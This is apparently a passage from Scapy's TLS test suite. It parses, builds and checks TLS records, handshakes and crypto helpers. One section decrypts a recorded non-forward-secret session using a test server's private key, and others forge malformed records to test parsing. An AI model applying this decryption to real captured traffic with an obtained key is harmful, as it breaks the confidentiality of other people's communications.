b'\x16\x03\x03\x00\x93\x0c\x00\x00\x8f\x03\x00\x17A\x04\xb4\xd4\xf6^\x87(\x97\xc4\xe5)\x19E\xe1\x9e\xfdPOf\x91\xa1PTdk\xdcU\n\xb9\x07\x93\xc8\xd1\xb0\tA\xce\xf9\xcd\x0e\xb6\xd7\xf0\r\xc7\xba\xaa\xd9zA\xe8\x8f(\xe1\x0fE[+&9\x90\xd4\n`O\x06\x03\x00F0D\x02 -\x04\xe5.g\x92\xca\xbe\xe4\x87\x9a\x88\x80~<\x10Q&v\xfa~\xf4h\x7f\xd0\xa1\x16\xf2\xfdN\x8b\xdf\x02 eI\xf0{E6mU0bRt\xb9\xc4\xcff\xf9\x87\xfdL\xdd\xa3d\xcf1\xab| ~"<\xcd' p5_shd = b'\x16\x03\x03\x00\x04\x0e\x00\x00\x00' p6_cke_ccs_cfin = b'\x16\x03\x03\x00F\x10\x00\x00BA\x04w_\xba\x8cX9\xab\x1f\x1drw\xaa\x08"\xe6\x05\x8eS\x8637\xb75\xe4\x1f\xc3H-\x12\xf4\xbb\x10\xf8\xb8.[?\x11sG\x0b\x18\x03}\x16n\n\xdb\x7f\x92\xear\xd1\x1a\x07.e;\xfc\xcer\x1f\xebA\x14\x03\x03\x00\x01\x01\x16\x03\x03\x00$\x14\x00\x00\x0cYX\xacX\xb81\x1fX\x8f\xbe\x1dJ\x10\xce\xca2\xb4\xc3m\xf1\x16c\xdb\xfc\x08\x16\x1d\x82\x83U\x8c\xe1' p7_ccs = b'\x14\x03\x03\x00\x01\x01' p8_sfin = b'\x17\x03\x03\x00$\x14\x00\x00\x0c8\x1f\x18\xb6f\x98\xe3\xc0\xa4\xe2\xf8\xba\n\xd7\xd0\xb93y]\x1a\n\xeb\xc39nd\xa5\xd7\x8c\xe5\xf9\x91' = Reading TLS test session t1 = TLS(p1_ch) t2 = TLS(p2_sh, tls_session=t1.tls_session.mirror()) t3 = TLS(p3_cert, tls_session=t2.tls_session) t4 = TLS(p4_ske, tls_session=t3.tls_session) t5 = TLS(p5_shd, tls_session=t4.tls_session) t6 = TLS(p6_cke_ccs_cfin, tls_session=t5.tls_session.mirror()) = Verify TLSClientKeyExchange cke = t6.msg[0] assert isinstance(cke, TLSClientKeyExchange) = Verify TLSChangeCipherSpec ccs = t6.payload.msg[0] assert isinstance(ccs, TLSChangeCipherSpec) = Verify TLSFinished from scapy.layers.tls.handshake import TLSFinished cfin = t6.payload.payload.msg[0] assert isinstance(cfin, TLSFinished) = Verify MAC - TLSFinished record assert (t6.payload.payload.mac == b'\x10\xce\xca2\xb4\xc3m\xf1\x16c\xdb\xfc\x08\x16\x1d\x82\x83U\x8c\xe1') ############################################################################### ################## Reading TLS vulnerable test session ######################## ############################################################################### # These packets come from a session between an s_server and an s_client. # We assume the server's private key has been retrieved. Because the cipher # suite does not provide PFS, we are able to break the data confidentiality. + Read a vulnerable TLS session ~ server_rsa_key = Reading TLS vulnerable session - Decrypt data from using a compromised server key load_layer("tls") from scapy.layers.tls.cert import PrivKeyRSA from scapy.layers.tls.record import TLSApplicationData import os tmp = "/test/tls/pki/srv_key.pem" filename = os.path.abspath(os.path.join(os.path.dirname(__file__),"../")) + tmp filename = os.getenv("SCAPY_ROOT_DIR")+tmp if not os.path.exists(filename) else filename key = PrivKeyRSA(filename) ch = b'\x16\x03\x01\x005\x01\x00\x001\x03\x01X\xac\x0e\x8c\xe46\xe9\xedo\xda\x085$M\xae$\x90\xd9\xa93\xb7(\x13J\xf9\xc5?\xef\xf4\x96\xa1\xfa\x00\x00\x04\x00/\x00\xff\x01\x00\x00\x04\x00#\x00\x00' sh = b'\x16\x03\x01\x005\x02\x00\x001\x03\x01\x88\xac\xd4\xaf\x93~\xb5\x1b8c\xe7)\xa6\x9b\xa9\xed\xf3\xf3*\xdb\x00\x8bB\xf6\n\xcbz\x8eP\x83`G\x00\x00/\x00\x00\t\xff\x01\x00\x01\x00\x00#\x00\x00\x16\x03\x01\x03\xac\x0b\x00\x03\xa8\x00\x03\xa5\x00\x03\xa20\x82\x03\x9e0\x82\x02\x86\xa0\x03\x02\x01\x02\x02\t\x00\xfe\x04W\r\xc7\'\xe9\xf60\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000T1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x160\x14\x06\x03U\x04\x03\x0c\rScapy Test CA0\x1e\x17\r160916102811Z\x17\r260915102811Z0X1\x0b0\t\x06\x03U\x04\x06\x13\x02MN1\x140\x12\x06\x03U\x04\x07\x0c\x0bUlaanbaatar1\x170\x15\x06\x03U\x04\x0b\x0c\x0eScapy Test PKI1\x1a0\x18\x06\x03U\x04\x03\x0c\x11Scapy Test Server0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xcc\xf1\xf1\x9b`-`\xae\xf2\x98\r\')\xd9\xc0\tYL\x0fJ0\xa8R\xdf\xe5\xb1!\x9fO\xc3=V\x93\xdd_\xc6\xf7\xb3\xf6U\x8b\xe7\x92\xe2\xde\xf2\x85I\xb4\xa1,\xf4\xfdv\xa8g\xca\x04 `\x11\x18\xa6\xf2\xa9\xb6\xa6\x1d\xd9\xaa\xe5\xd9\xdb\xaf\xe6\xafUW\x9f\xffR\x89e\xe6\x80b\x80!\x94\xbc\xcf\x81\x1b\xcbg\xc2\x9d\xb5\x05w\x04\xa6\xc7\x88\x18\x80xh\x956\xde\x97\x1b\xb6a\x87B\x1au\x98E\x82\xeb>2\x11\xc8\x9b\x86B9\x8dM\x12\xb7X\x1b\x19\xf3\x9d+\xa1\x98\x82\xca\xd7;$\xfb\t9\xb0\xbc\xc2\x95\xcf\x82)u\x16)?B \x17+M@\x8cVl\xad\xba\x0f4\x85\xb1\x7f@yqx\xb7\xa5\x04\xbb\x94\xf7\xb5A\x95\xee|\xeb\x8d\x0cyhY\xef\xcb\xb3\xfa>x\x1e\xeegLz\xdd\xe0\x99\xef\xda\xe7\xef\xb2\t]\xbe\x80 !\x05\x83,D\xdb]*v)\xa5\xb0#\x88t\x07T"\xd6)z\x92\xf5o-\x9e\xe7\xf8&+\x9cXe\x02\x03\x01\x00\x01\xa3o0m0\t\x06\x03U\x1d\x13\x04\x020\x000\x0b\x06\x03U\x1d\x0f\x04\x04\x03\x02\x05\xe00\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14\xa1+ p\xd2k\x80\xe5e\xbc\xeb\x03\x0f\x88\x9ft\xad\xdd\xf6\x130\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14fS\x94\xf4\x15\xd1\xbdgh\xb0Q725\xe1\xa4\xaa\xde\x07|0\x13\x06\x03U\x1d%\x04\x0c0\n\x06\x08+\x06\x01\x05\x05\x07\x03\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x81\x88\x92sk\x93\xe7\x95\xd6\xddA\xee\x8e\x1e\xbd\xa3HX\xa7A5?{}\xd07\x98\x0e\xb8,\x94w\xc8Q6@\xadY\t(\xc8V\xd6\xea[\xac\xb4\xd8?h\xb7f\xca\xe1V7\xa9\x00e\xeaQ\xc9\xec\xb2iI]\xf9\xe3\xc0\xedaT\xc9\x12\x9f\xc6\xb0\nsU\xe8U5`\xef\x1c6\xf0\xda\xd1\x90wV\x04\xb8\xab8\xee\xf7\t\xc5\xa5\x98\x90#\xea\x1f\xdb\x15\x7f2(\x81\xab\x9b\x85\x02K\x95\xe77Q{\x1bH.\xfb>R\xa3\r\xb4F\xa9\x92:\x1c\x1f\xd7\n\x1eXJ\xfa.Q\x8f)\xc6\x1e\xb8\x0e1\x0es\xf1\'\x88\x17\xca\xc8i\x0c\xfa\x83\xcd\xb3y\x0e\x14\xb0\xb8\x9b/:-\t\xe3\xfc\x06\xf0:n\xfd6;+\x1a\t*\xe8\xab_\x8c@\xe4\x81\xb2\xbc\xf7\x83g\x11nN\x93\xea"\xaf\xff\xa3\x9awWv\xd0\x0b8\xac\xf8\x8a\x945\x8e\xd7\xd4a\xcc\x01\xff$\xb4\x8fa#\xba\x88\xd7Y\xe4\xe9\xba*N\xb5\x15\x0f\x9c\xd0\xea\x06\x91\xd9\xde\xab\x16\x03\x01\x00\x04\x0e\x00\x00\x00' ck = b"\x16\x03\x01\x01\x06\x10\x00\x01\x02\x01\x00w\x93\xec\xfa\xf3\xdf[\x9a4\xa7\x9e\xcd\x06=\x8dH\xf1\x069\x8c\x06\x01S\xf7\xb5\x16h\xf6\xd5 I\xd7\xf0\xc5Z\xf6\xe0f7\x95\x91\xddNC\xe7$\xf5\xdaZ\xcdG\xd8\x14\xcaV\x98\xc4\xb2\x8cm\xe51@\x9b\x9c\xb8\xadul\xd0\xdf\xf2\xd7@Q\xe4\x05J\xf31[\xdf\xc8'(\x8f#\xf0\xc4\x1c\xc6\x07G\xb327\x85\xad\xa2\xa6\xa2E\x18\x85rP\xb8\x86uL\\7\x82\x18\xceh\xc6\xd1\xf4\xcc\xb9VN\x85\x7f9c\x92\t\x96\x8e\x80\x06\xe4\r\xbfu<\xabgP^z\xc7\xfd\x8e\x12t^\xb7\xc7Lr\xdc5\xf8\xa7\xdb\x9c\xbd\xd5\xad\xabP<\xe7\x9f%f\xb4\xd8\xf4\xf0~\x99\xbeZ\xe9\xbc\x0c9\r\xb2Uq\xfcd\xa4\xda\x89\x90\xd1\x15\x05\xcc\x00\xb1\xcd\xa9c\xb4\xe8\x7fRH\xbd\xe1\xd2\xd8\x9c\xb6\xd2\x8dq9\xe5\t\xeb\xfc\x1b\x06\xac\xab\x96\xa7\xfd{\xdf\xf2\x16\r\xd6'\xb8\xd3\xa5L\xc8\x08 \xb9\xccN\xe5\xf0\xa0S\xf3\xc3\xc9\xdf\xee\xd0\r\xd8[\x14\x03\x01\x00\x01\x01\x16\x03\x01\x000~\x01\xe1!2\x90\xba\xc8 \xb6\x8c\xb7\xd9\xf5\x80\x1d$Z^\xc8\xa3\x9f\xb3\xf1M\x0c\xd1\xedd\xb1'\x0f\xe4ER\xc9\xf7L\xf3;\xc1\xbaz\xfa\xb76\xe3q" fin = b"\x16\x03\x01\x00\xaa\x04\x00\x00\xa6\x00\x00\x1c \x00\xa0*\xf5.4:\xe4;t\xf0v\xed\xeaLX\xa5\xce*@\xe7\x83\rWx\xadWkM-\x95\xe7\x98\xcb6x\xeb\xca\xfe8\xf5\x84*\x9bAmZ/o9\xb03\xea\x1e\x99\xfdQ\xbfe\r\xe8W\xd5\xdb\xdd\x83\x90\x14\xc6\xef\x10s\x15\xff\xc2U\xce\xb0\x00\x11\x02|\xed\x99\xbac\xfb\x03M\xce\xd3\x92\xbe\x98\x95\x1c\xef\x9b\xb1\xd6,\x0c6Td\xc9j*\x17\xb9\xde\x13\x8f\xba[\xbcD\x1b\x9a~\xe9\xa2\xf3\xa4V3\xfe\xd6'\xc8i+\xb0m\xf8&\x86\x83\xaa\xe5\x1d\x06\x07lOx\x06 \x02\xbe\xfe\xda\x93-\x9fk\xeaHu\x8a\xec_\x14\x03\x01\x00\x01\x01\x16\x03\x01\x000Pc\xe0T+\x17\\>\xd0\xbc\xe6Xx}\xe5\xa26\xea\x0b\xad\x1bY\x1b\x05,\x7f\xeeQ\xd6\xea!\x9d.\xe0\xf3\x88\xe6'jV\xfdz]M'\xcejJ" data = b'\x17\x03\x01\x00 \xe8\x91\'mRT\x17\xa1\xd6}+\x80\x02\xda\xadw.\x82TA\'\xdep\xa4\xe1\xb1H\xa9\xb1\x81gw\x17\x03\x01\x00P\xddD\x18\xdb\x82pz\xb75>\x1c\xd7\xa9=\x18C\xbd\xf0F\xa1k\x0c\xe5&\xf2\xdf\x97\xf0\xab5\xf41W\x85 \xcf\xd9\x98\xa4\xe8\xcc\xff \x1c\xbc\xb3U\xc8\x9c>\xc4$\xa5U\xc6\xd4\x1f"\xce\xf0\x98\xf0D\xd2\x1d\r*\x99*\xdcd4?\xc9\x0b\xa6\xb2\x81%\xfc' t = TLS(ch) t = TLS(sh, tls_session=t.tls_session.mirror()) t.tls_session.server_rsa_key = key t = TLS(ck, tls_session=t.tls_session.mirror()) t = TLS(fin, tls_session=t.tls_session.mirror()) t = TLS(data, tls_session=t.tls_session.mirror()) assert(len(t.msg) == 1) assert(isinstance(t.msg[0], TLSApplicationData)) assert(t.msg[0].data == b"") t.getlayer(TLS, 2).msg[0].data == b"To boldly go where no man has gone before...\n" = Auto provide the session conf.debug_dissector = 2 client = "192.168.0.1" server = "1.2.3.4" bc = Ether()/IP(src=client, dst=server)/TCP(sport=51478, dport=443, seq=1) bs = Ether()/IP(src=server, dst=client)/TCP(sport=443, dport=51478, seq=1) pcap = [ bc/ch, bs/sh, bc/ck, bs/fin, bc/data ] res = sniff(offline=pcap, session=TLSSession(server_rsa_key=key)) res[4].show() assert res[4].getlayer(TLS, 2).msg[0].data == b"To boldly go where no man has gone before...\n" ############################################################################### ############################## Building packets ############################### ############################################################################### + Build TLS packets = Building packets - Various default records from scapy.layers.tls.handshake import TLSCertificate from scapy.layers.tls.record import TLSAlert raw(TLS()) raw(TLSClientHello()) raw(TLSServerHello()) raw(TLSCertificate()) raw(TLSServerKeyExchange()) raw(TLSClientKeyExchange()) raw(TLSAlert()) raw(TLSChangeCipherSpec()) raw(TLSApplicationData()) == b"" = Building packets - ClientHello with automatic length computation from scapy.layers.tls.crypto.suites import (TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA) from scapy.layers.tls.extensions import (ServerName, TLS_Ext_SupportedEllipticCurves, ProtocolName) ch = TLSClientHello() ch.msgtype = 'client_hello' ch.version = 'TLS 1.2' ch.gmt_unix_time = 0x26ee2ddd ch.random_bytes = b'X\xe1\xb1T\xaa\xb1\x0b\xa0zlg\xf8\xd14]%\xa9\x91d\x08\xc7t\xcd6\xd4"\x9f\xcf' ch.ciphers = [TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] ch.comp = 'null' ext1 = TLS_Ext_ServerName(servernames=ServerName(servername='mn.scapy.wtv')) ext2 = TLS_Ext_RenegotiationInfo() ext3 = TLS_Ext_SupportedEllipticCurves(groups=['secp256r1', 'secp384r1', 'secp521r1']) ext4 = TLS_Ext_SupportedPointFormat(ecpl='uncompressed') ext5 = TLS_Ext_SessionTicket() ext6 = TLS_Ext_NPN() ext7 = TLS_Ext_ALPN(protocols=[ProtocolName(protocol='h2-16'), ProtocolName(protocol='h2-15'), ProtocolName(protocol='h2-14'), ProtocolName(protocol='h2'), ProtocolName(protocol='spdy/3.1'), ProtocolName(protocol='http/1.1')]) ext8 = TLS_Ext_CSR(stype='ocsp', req=OCSPStatusRequest()) ext9 = TLS_Ext_SignatureAlgorithms(sig_algs=['sha256+rsa', 'sha384+rsa', 'sha512+rsa', 'sha1+rsa', 'sha256+ecdsa', 'sha384+ecdsa', 'sha512+ecdsa', 'sha1+ecdsa', 'sha256+dsa', 'sha1+dsa']) ch.ext = [ext1, ext2, ext3, ext4, ext5, ext6, ext7, ext8, ext9] t = TLS(type='handshake', version='TLS 1.0', msg=ch) raw(t) == b'\x16\x03\x01\x00\xc7\x01\x00\x00\xc3\x03\x03&\xee-\xddX\xe1\xb1T\xaa\xb1\x0b\xa0zlg\xf8\xd14]%\xa9\x91d\x08\xc7t\xcd6\xd4"\x9f\xcf\x00\x00\x16\xc0+\xc0/\xc0\n\xc0\t\xc0\x13\xc0\x14\x003\x009\x00/\x005\x00\n\x01\x00\x00\x84\x00\x00\x00\x11\x00\x0f\x00\x00\x0cmn.scapy.wtv\xff\x01\x00\x01\x00\x00\n\x00\x08\x00\x06\x00\x17\x00\x18\x00\x19\x00\x0b\x00\x02\x01\x00\x00#\x00\x003t\x00\x00\x00\x10\x00)\x00\'\x05h2-16\x05h2-15\x05h2-14\x02h2\x08spdy/3.1\x08http/1.1\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00\r\x00\x16\x00\x14\x04\x01\x05\x01\x06\x01\x02\x01\x04\x03\x05\x03\x06\x03\x02\x03\x04\x02\x02\x02' = Building packets - ServerHello context linking from scapy.layers.tls.crypto.kx_algs import KX_ECDHE_RSA from scapy.layers.tls.crypto.cipher_block import Cipher_AES_256_CBC sh = TLSServerHello(gmt_unix_time=0x41414141, random_bytes='B'*28, cipher=0xc014) t = TLS(msg=sh) t.raw_stateful() assert(isinstance(t.tls_session.pwcs.ciphersuite, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA)) assert(isinstance(t.tls_session.pwcs.key_exchange, KX_ECDHE_RSA)) assert(isinstance(t.tls_session.pwcs.cipher, Cipher_AES_256_CBC)) assert(isinstance(t.tls_session.pwcs.hmac, Hmac_SHA)) t.tls_session.server_random == b'A'*4+b'B'*28 = Building packets - ChangeCipherSpec with forged, forbidden field values t = TLS(msg=TLSChangeCipherSpec()) assert(raw(t) == b'\x14\x03\x03\x00\x01\x01') t.len = 0 assert(raw(t) == b'\x14\x03\x03\x00\x00\x01') t.type = 0xde t.version = 0xadbe t.len = 0xefff raw(t) == b'\xde\xad\xbe\xef\xff\x01' = Building packets - TLS record with bad data a = TLS(b'\x17\x03\x03\x00\x03data') assert a[Raw] = Building packets - _CipherSuitesField with no cipher from scapy.layers.tls.handshake import _CipherSuitesField a = _CipherSuitesField("test", None, {}) assert a.i2repr(None, None) == "None" assert isinstance(a.randval(), RandBin) = Building packets - TLSClientKeyExchange with bad data a = TLSClientKeyExchange(raw(TLSClientKeyExchange(exchkeys="baddata"))) assert a.haslayer(Raw) = Building packets - Perform dummy session update from scapy.layers.tls.handshake import TLSHelloRequest assert not TLSHelloRequest().tls_session_update(None) = Cryptography module is unavailable import scapy.modules.six as six import mock @mock.patch("scapy.layers.tls.crypto.suites.get_algs_from_ciphersuite_name") def test_tls_without_cryptography(get_algs_from_ciphersuite_name_mock): get_algs_from_ciphersuite_name_mock.return_value = (scapy.layers.tls.crypto.kx_algs.KX_ECDHE_RSA, None, None, scapy.layers.tls.crypto.hash.Hash_SHA256, False) sh = IP()/TCP()/TLS(msg=TLSServerHello(cipher=0xc02f)) assert raw(sh) if six.PY2: assert str(sh) sh2 = Ether(b"\xaa\xaa\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xbb\xbb\x86\xdd`\x04Z\xd8\x02\x19\x06@\xcfm\xack|z\xae\xac\x9d\x8d'\xba\xa2Cs\xcc\x07\x8f\x91\xbdk\x0e\x1e\xdb\xf6\xbe\xc3\xa1\xfc\xa5\x15\xca\xd6#\x01\xbb\xeeC\xc0H\xea\xa2\x9a,P\x18\x00\xffu\xf0\x00\x00\x16\x03\x01\x02\x00\x01\x00\x01\xfc\x03\x03W`\xb4|\n5E\x11\xe8\xb5\xa3\x9c\xea\xa6I\x99N\xcd\xe9j\x8d\xfe\xa8%\x8b\xceC\xf8w\x94gV \x13\x0b\xdf}\xad\xbf\xbe67\xba\xcf\x9c\xfa\x92\xc2\xeeS\xf6DL\x19\xb3\xe4`H\x84\xcb]h\xb4\xbb\xba\x00\x1cZZ\xc0+\xc0/\xc0,\xc00\xcc\xa9\xcc\xa8\xc0\x13\xc0\x14\x00\x9c\x00\x9d\x00/\x005\x00\n\x01\x00\x01\x97\xba\xba\x00\x00\xff\x01\x00\x01\x00\x00\x00\x00\x11\x00\x0f\x00\x00\x0cfacebook.com\x00\x17\x00\x00\x00#\x00\xc0\x8a`K^\x7fF\x05K\x95\x85\x1c\xec\x9f\xff\x9b\x85T\x85=<\xbc\xfb\xe4n4\xe9W+\xfanM\xa7\x8c.\x95\x9e\xf0\xfb\x93\x91\xa9\x87\x12o\xc8\x99\xe8\x94_\xca\xceH(\xcai\xdf\xe8\xcf7\x05v\xd4\x9e\x85\x86\x19\xe4\xb6\xf9K\n\xb2\xfd\xa1\xa3r\x9f\xec\x05\xd4\xbc\x1bU\x9a\x89\x1d)\xc5\x85(?@x\r\x12Ep\xb7\xf8\x0c\xe7\x17Y<\xbd-\xd7\x9a\x9f^\xb1k\x0b\xcb\xfd\xf4\xb1z\x06\xe9Mna\x9a\xc8\xc8\xdd\x95\xa1`N\xbd/\x9d\xd6\xd9\x93\xf4$\xefq\x80R\xc3|\x9f\xe1'\x19\xf2I\xf8\xdbV\x0b/\xaex8q\xb2ZGU\xf7^\xa9\x80\xf9\r\xbfo\xee\t\x01(\x93\x12g\x1frXUa\xdc\x8d*F\xb8\xc6\xe2\xb6\x00\r\x00\x14\x00\x12\x04\x03\x08\x04\x04\x01\x05\x03\x08\x05\x05\x01\x08\x06\x06\x01\x02\x01\x00\x05\x00\x05\x01\x00\x00\x00\x00\x00\x12\x00\x00\x00\x10\x00\x0e\x00\x0c\x02h2\x08http/1.1uP\x00\x00\x00\x0b\x00\x02\x01\x00\x00\n\x00\n\x00\x08jj\x00\x1d\x00\x17\x00\x18zz\x00\x01\x00\x00\x15\x00Y\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00") assert TLS in sh2 assert isinstance(sh2.msg[0], TLSClientHello) test_tls_without_cryptography() = Truncated TCP segment dd = conf.debug_dissector conf.debug_dissector = False pkt = Ether(hex_bytes('00155dfb587a00155dfb58430800450005dc54d3400070065564400410d40a00000d01bb044e8b86744e16063ac45010faf06ba9000016030317c30200005503035cb336a067d53a5d2cedbdfec666ac740afbd0637ddd13eddeab768c3c63abee20981a0000d245f1c905b329323ad67127cd4b907a49f775c331d0794149aca7cdc02800000d0005000000170000ff010001000b000ec6000ec300090530820901308206e9a00302010202132000036e72aded906765595fae000000036e72300d06092a864886f70d01010b050030818b310b30090603550406130255533113')) assert TLSServerHello in pkt conf.debug_dissector = dd ############################################################################### ########################### TLS Misc tests #################################### ############################################################################### = Test tlsSession from scapy.layers.tls.session import tlsSession s = tlsSession(ipsrc="216.58.201.227", ipdst="127.0.0.1", sport=443, dport=443, sid=1) assert s.__repr__() == "216.58.201.227:443 > 127.0.0.1:443" assert s == s assert hash(s) == hash(s) assert not s.consider_write_padding() = Test connState assert s.wcs.__repr__() == 'Connection end : SERVER\nCipher suite : TLS_NULL_WITH_NULL_NULL (0x0000)\nCompression : null (0x00)\n' = Test tls.tools def test_tls_tools(): from scapy.layers.tls.crypto.compression import Comp_Deflate from scapy.layers.tls.crypto.common import CipherError from scapy.layers.tls.crypto.cipher_stream import Cipher_RC4_40 from scapy.layers.tls.crypto.cipher_aead import (Cipher_AES_128_GCM, Cipher_AES_128_GCM_TLS13) from scapy.layers.tls.crypto.hash import Hash_SHA256 from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip from scapy.layers.tls.tools import TLSPlaintext, TLSCompressed, TLSCiphertext from scapy.layers.tls.tools import _tls_compress, _tls_decompress from scapy.layers.tls.tools import _tls_mac_add, _tls_mac_verify from scapy.layers.tls.tools import _tls_add_pad, _tls_del_pad from scapy.layers.tls.tools import _tls_encrypt, _tls_decrypt from scapy.layers.tls.tools import _tls_aead_auth_encrypt, _tls_aead_auth_decrypt plain = TLSPlaintext() plain.type = 'application_data' plain.version = 'TLS 1.2' plain.data = b'X\xe1\xb1T\xaa\xb1\x0b\xa0zlg\xf8\xd14]%\xa9\x91d\x08\xc7t\xcd6\xd4"\x9f\xcf' plain.len = len(plain.data) # Compress/decompress test alg = Comp_Deflate() comp = _tls_compress(alg, plain) assert isinstance(comp, TLSCompressed) assert comp != plain dcomp = _tls_decompress(alg, comp) assert isinstance(dcomp, TLSPlaintext) assert dcomp == plain # Encrypt/decrypt test ch = Cipher_RC4_40(_rc4_40_test.k) encr = _tls_encrypt(ch, plain) assert isinstance(encr, TLSCiphertext) assert encr != plain decr = _tls_decrypt(ch, encr) assert isinstance(decr, TLSPlaintext) assert decr == plain encr = _tls_encrypt(ch, comp) assert isinstance(encr, TLSCiphertext) assert encr != comp decr = _tls_decrypt(ch, encr) assert isinstance(decr, TLSPlaintext) assert (decr.version == comp.version and decr.type == comp.type and decr.len == comp.len and decr.data == comp.data) # MAC add/verify test mac = Hash_SHA256() save_encr = encr.copy() assert save_encr is not encr _tls_mac_add(mac, encr, 1) assert isinstance(encr, TLSCiphertext) had_mac = _tls_mac_verify(mac, encr, 1) assert had_mac assert encr == save_encr # Pad add/delete test save_comp = comp.copy() assert save_comp is not comp block_size = 8 _tls_add_pad(comp, block_size) assert isinstance(comp, TLSCompressed) assert comp.len == save_comp.len + -save_comp.len % block_size + 1 had_pad = _tls_del_pad(comp) assert had_pad assert comp == save_comp block_size = save_comp.len // 2 _tls_add_pad(comp, block_size) assert isinstance(comp, TLSCompressed) assert comp.len == save_comp.len + -save_comp.len % block_size + 1 had_pad = _tls_del_pad(comp) assert had_pad assert comp == save_comp # AEAD auth encrypt/decrypt test ch_auth = Cipher_AES_128_GCM(key=_aes128gcm_test_1.k, fixed_iv=_aes128gcm_test_1.n[:4], nonce_explicit=pkcs_os2ip(_aes128gcm_test_1.n[4:])) auth_encr = _tls_aead_auth_encrypt(ch_auth, comp, 1) assert isinstance(auth_encr, TLSCiphertext) assert auth_encr != comp # auth_decr = _tls_aead_auth_decrypt(ch_auth, auth_encr, 1) # assert isinstance(auth_decr, TLSCompressed) # assert auth_decr == comp ch_auth = Cipher_AES_128_GCM_TLS13(key=_aes128gcm_test_1.k, fixed_iv=_aes128gcm_test_1.n) auth_encr = _tls_aead_auth_encrypt(ch_auth, comp, 1) assert isinstance(auth_encr, TLSCiphertext) assert auth_encr != comp # auth_decr = _tls_aead_auth_decrypt(ch_auth, auth_encr, 1) # assert isinstance(auth_decr, TLSCompressed) # assert auth_decr == comp test_tls_tools() = Dissect TLSCertificateVerify from scapy.layers.tls.handshake import TLSCertificateVerify t = TLS(b'\x16\x03\x03\x00P\x0f\x00\x00L\x04\x03\x00H0F\x02!\x00\xcf\xf1\xd0:1\xb8\xe4JCU\x00\x8c\xcdg\xf9=g\x84\xa3h;V@\xfd\xd1\\\xf0\xc4f\xfa\x18\xdc\x02!\x00\x82\x1dF\xc1\xd1\xab\x86\xaa\xb9"\x0eA\xf2\xc3Rj\xd7\xf1\xe9\xaf\x9b\xa5?R\n\xca\x15\xfe)\xa9j\x84') assert TLSCertificateVerify in t assert t[TLSCertificateVerify].sig.sig_len == 72 = Test complex TLSServerKeyExchange dissection & build a = b'\x16\x03\x03\x0e4\x02\x00\x00M\x03\x03^\xfa\xb5~\x88\xdf\xdc#}\'\xa0\xff\xa2\xe2\xb5\xec\x0e\x93\xa8\xe0\xde\x01[\x13[F\x151 x\xc6\xcc `)\x00\x00\x8aZ\x90l\xda\x0b\xe1\xec[i\x13\xa7\x8e\xb9a\x98"\x8a7L\x9d\x90\xe0\x01\x06c$9\xc0\'\x00\x00\x05\xff\x01\x00\x01\x00\x0b\x00\x0c\x8e\x00\x0c\x8b\x00\x06n0\x82\x06j0\x82\x05R\xa0\x03\x02\x01\x02\x02\x10EY\xe8\x1c\x1e\x9a\xe0?X\xaa\xc3\xbc\xcd`jh0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x0b\x05\x000\x81\x8f1\x0b0\t\x06\x03U\x04\x06\x13\x02GB1\x1b0\x19\x06\x03U\x04\x08\x13\x12Greater Manchester1\x100\x0e\x06\x03U\x04\x07\x13\x07Salford1\x180\x16\x06\x03U\x04\n\x13\x0fSectigo Limited1705\x06\x03U\x04\x03\x13.Sectigo RSA Domain Validation Secure Server CA0\x1e\x17\r190309000000Z\x17\r210308235959Z0W1!0\x1f\x06\x03U\x04\x0b\x13\x18Domain Control Validated1\x1d0\x1b\x06\x03U\x04\x0b\x13\x14PositiveSSL 